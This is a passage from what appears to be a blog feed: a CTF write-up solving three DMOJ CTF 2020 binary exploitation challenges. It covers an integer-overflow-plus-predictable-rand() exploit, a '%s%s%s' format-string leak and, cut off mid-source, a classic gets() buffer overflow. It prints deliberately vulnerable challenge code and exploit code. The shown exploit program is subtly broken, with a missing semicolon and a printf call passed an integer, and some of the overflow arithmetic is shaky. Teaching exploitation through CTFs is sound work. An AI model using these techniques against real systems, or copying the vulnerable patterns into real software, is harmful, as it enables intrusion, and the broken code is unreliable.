&lt;/ol>
&lt;/div></description></item><item><title>Intro to Binary Exploitation - DMOJ CTF 2020 Writeups</title><link>https://fluix.one/blog/dmoj-ctf-20-binexp/</link><pubDate>Mon, 27 Jul 2020 00:00:00 +0000</pubDate><guid>https://fluix.one/blog/dmoj-ctf-20-binexp/</guid><description>&lt;p>This blog post covers the solutions to the binary exploitation problems of &lt;a href="https://dmoj.ca/contest/ectf20">DMOJ CTF &amp;lsquo;20&lt;/a>. If you want to try the problems by yourself, either before or after reading this writeup, the links are below:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://dmoj.ca/problem/ectf20p17">Super Secure Pseudorandom Number Generator&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://dmoj.ca/problem/ectf20p18">Strings&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://dmoj.ca/problem/ectf20p19">Classic Buffer Overflow&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>These problems are relatively simple and cover some of the most basic techniques when it comes to binary exploitation so don&amp;rsquo;t be scared to give them a try. All of these techniques can become very useful later down the line and are often used as part of larger, more complex exploits.&lt;/p>
&lt;h2 id="super-secure-pseudorandom-number-generator">Super Secure Pseudorandom Number Generator&lt;/h2>
&lt;p>This problem had a simple menu which allowed the generation of random numbers and guessing of a single random number. If the correct number was guessed, the flag would get printed to &lt;code>stderr&lt;/code> and you would solve the challenge.&lt;/p>
&lt;p>This first section of code can be seen initializing the &lt;code>rand()&lt;/code> seed with the current time (in seconds) and setting the balance to &lt;code>999999999&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="nf">srand&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nf">time&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">NULL&lt;/span>&lt;span class="p">));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kt">int&lt;/span> &lt;span class="n">balance&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">999999999&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="generation">Generation&lt;/h3>
&lt;p>Now here is the section that allows you to generate some random numbers if you have enough balance:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="k">while&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nf">scanf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;%d&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">count&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1&lt;/span> &lt;span class="o">&amp;lt;=&lt;/span> &lt;span class="n">count&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="n">count&lt;/span> &lt;span class="o">&amp;lt;=&lt;/span> &lt;span class="mi">20&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;Number %d not in range.&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">count&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">else&lt;/span> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="mi">500000000&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">count&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">balance&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;You do not have enough money!&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">balance&lt;/span> &lt;span class="o">-=&lt;/span> &lt;span class="mi">500000000&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">count&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;Success!&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">Here are your %d numbers.&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">count&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kt">int&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="o">&amp;lt;=&lt;/span> &lt;span class="n">count&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="n">i&lt;/span>&lt;span class="o">++&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;%d&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nf">rand&lt;/span>&lt;span class="p">());&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>As we can see, it allows you to generate anywhere from 1 to 20 random numbers, but the important aspect is the &lt;code>500000000 * count &amp;gt; balance&lt;/code> and subsequent &lt;code>balance -= 500000000 * count&lt;/code> sections. We need to use these to get a balance which will allow us to pay for the guessing of a random number since the starting value of &lt;code>999999999&lt;/code> is less than &lt;code>1000000000&lt;/code>.&lt;/p>
&lt;p>What we find is that if we ask to generate a specific number of flags, such as &lt;code>5&lt;/code>, we can overflow the &lt;code>500000000 * count&lt;/code> to bypass the check and overflow the &lt;code>balance&lt;/code> to be able to guess a random number later on. Let&amp;rsquo;s see how the overflow happens below:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-py" data-lang="py">&lt;span class="line">&lt;span class="cl">&lt;span class="mi">500000000&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="mi">5&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">2500000000&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;code>2500000000&lt;/code> is over the maximum C integer of &lt;code>INT_MAX = 2**31-1 = 2147483647&lt;/code> so the new value can be calculated as follows based on the minimum C integer of &lt;code>INT_MIN = -2**31 = -2147483648&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-py" data-lang="py">&lt;span class="line">&lt;span class="cl">&lt;span class="mi">2500000000&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="mi">2147483647&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">352516353&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">-&lt;/span>&lt;span class="mi">2147483648&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">352516353&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="mi">1794967296&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This value is certainly less than our current balance, so we proceed without receiving &lt;code>&amp;quot;You do not have enough money!&amp;quot;&lt;/code>. A similar process happens to our balance, leaving it at &lt;code>-1500000001&lt;/code>.&lt;/p>
&lt;h3 id="guessing">Guessing&lt;/h3>
&lt;p>Moving on to the generation of the random number for us to guess, we see the code below:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="n">balance&lt;/span> &lt;span class="o">-=&lt;/span> &lt;span class="mi">1000000000LL&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">balance&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;You do not have enough money!&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;Enter the secret code: &amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">while&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nf">scanf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;%d&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">count&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">count&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="nf">rand&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;Wrong number!&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// Flag printing routine here.
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The initial balance check gets bypassed because of the previous steps, with the exact math involved being left as an exercise to the reader.&lt;/p>
&lt;h3 id="exploiting">Exploiting&lt;/h3>
&lt;p>With that, all we need to do is guess the outcome of the 6th &lt;code>rand()&lt;/code> call (6 because we asked for 5 random numbers before which all called &lt;code>rand()&lt;/code> once).&lt;/p>
&lt;p>What we know from the very start is that the seed was set with &lt;code>srand(time(NULL))&lt;/code> which returns the current time, in seconds, since the first of January 1970.&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> Because our own code and the problem run at nearly the same time, we can mimic this behavior exactly to print the flag and with the problem.&lt;/p>
&lt;p>The full exploit is below:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#include&lt;/span> &lt;span class="cpf">&amp;lt;stdio.h&amp;gt;&lt;/span>&lt;span class="cp">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#include&lt;/span> &lt;span class="cpf">&amp;lt;stdlib.h&amp;gt;&lt;/span>&lt;span class="cp">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#include&lt;/span> &lt;span class="cpf">&amp;lt;time.h&amp;gt;&lt;/span>&lt;span class="cp">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kt">int&lt;/span> &lt;span class="nf">main&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">srand&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nf">time&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">NULL&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;1&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">5&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">2&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kt">int&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="mi">5&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="o">++&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">rand&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nf">rand&lt;/span>&lt;span class="p">());&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="strings">Strings&lt;/h2>
&lt;p>This problem&amp;rsquo;s &lt;em>solution&lt;/em> is arguably simpler than the last, but requires some knowledge of C and format strings. The entire problem code is below:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#pragma GCC optimize(&amp;#34;O0&amp;#34;)
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#include&lt;/span> &lt;span class="cpf">&amp;lt;stdio.h&amp;gt;&lt;/span>&lt;span class="cp">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#include&lt;/span> &lt;span class="cpf">&amp;lt;unistd.h&amp;gt;&lt;/span>&lt;span class="cp">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kt">int&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nf">main&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">fprintf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">stderr&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;Welcome to echo, live edition!&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">fprintf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">stderr&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;Enter something and this program will repeat it.&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">char&lt;/span> &lt;span class="n">something_secret&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">64&lt;/span>&lt;span class="p">];&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">FILE&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">f&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nf">fopen&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;flag&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;r&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">f&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="nb">NULL&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">fprintf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">stderr&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;Failed to open flag file.&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">fgets&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">something_secret&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">64&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">char&lt;/span> &lt;span class="n">data&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">64&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">};&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">read&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">data&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">63&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">fprintf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">stderr&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">data&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This program uses the &lt;code>read&lt;/code> function to safely read user input, so we can&amp;rsquo;t exploit any overflows of the &lt;code>data&lt;/code> buffer. However, &lt;code>fprintf&lt;/code> will gladly accept format strings (as described in &lt;code>man 3 fprintf&lt;/code>). This means that the following 6 character input will leak the flag:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="o">%&lt;/span>&lt;span class="n">s&lt;/span>&lt;span class="o">%&lt;/span>&lt;span class="n">s&lt;/span>&lt;span class="o">%&lt;/span>&lt;span class="n">s&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="explanation">Explanation&lt;/h3>
&lt;p>First off, this problem is both hardware dependent&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> and glibc dependent. The &lt;a href="https://github.com/dmoj/judge-server">DMOJ Judge&lt;/a> has these kept constant across runs during the contest, but competitors&amp;rsquo; glibc versions are different and some make the intended solution impossible to test locally. The solution of &lt;code>%s%s%s&lt;/code> will read the values pointed to by the registers &lt;code>rdx&lt;/code>, &lt;code>rcx&lt;/code>, and &lt;code>r8&lt;/code> in that order. The values they point to are described below:&lt;/p>
&lt;ul>
&lt;li>&lt;code>rdx&lt;/code> points to the input buffer &amp;ndash; in this case &lt;code>%s%s%s&lt;/code>.&lt;/li>
&lt;li>&lt;code>rcx&lt;/code> points to the value filled in by the &lt;code>syscall&lt;/code> inside of &lt;code>read&lt;/code> which is hardware dependent.&lt;/li>
&lt;li>&lt;code>r8&lt;/code> points to the &lt;code>something_secret&lt;/code> buffer which stores the flag. The fact that &lt;code>r8&lt;/code> is used is glibc dependent.&lt;/li>
&lt;/ul>
&lt;h2 id="classic-buffer-overflow">Classic Buffer Overflow&lt;/h2>
&lt;p>We now come to the final problem which has the solution in its name. The goal of the problem is to run a function called &lt;code>win&lt;/code> whose pointer is printed on startup. Below is the entire source code of the problem:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#pragma GCC optimize(&amp;#34;O0&amp;#34;)
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#include&lt;/span> &lt;span class="cpf">&amp;lt;stdio.h&amp;gt;&lt;/span>&lt;span class="cp">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#include&lt;/span> &lt;span class="cpf">&amp;lt;stdlib.h&amp;gt;&lt;/span>&lt;span class="cp">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kt">void&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nf">win&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">char&lt;/span> &lt;span class="n">buf&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">64&lt;/span>&lt;span class="p">];&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">FILE&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">f&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nf">fopen&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;flag&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;r&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">f&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="nb">NULL&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;Failed to open flag file.&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">exit&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">fgets&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">63&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">fprintf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">stderr&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">buf&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kt">void&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nf">vuln&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">char&lt;/span> &lt;span class="n">buf&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">100&lt;/span>&lt;span class="p">];&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">gets&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">puts&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kt">int&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nf">main&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;%p&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">win&lt;/span>&lt;span class="p">);&lt;/span>
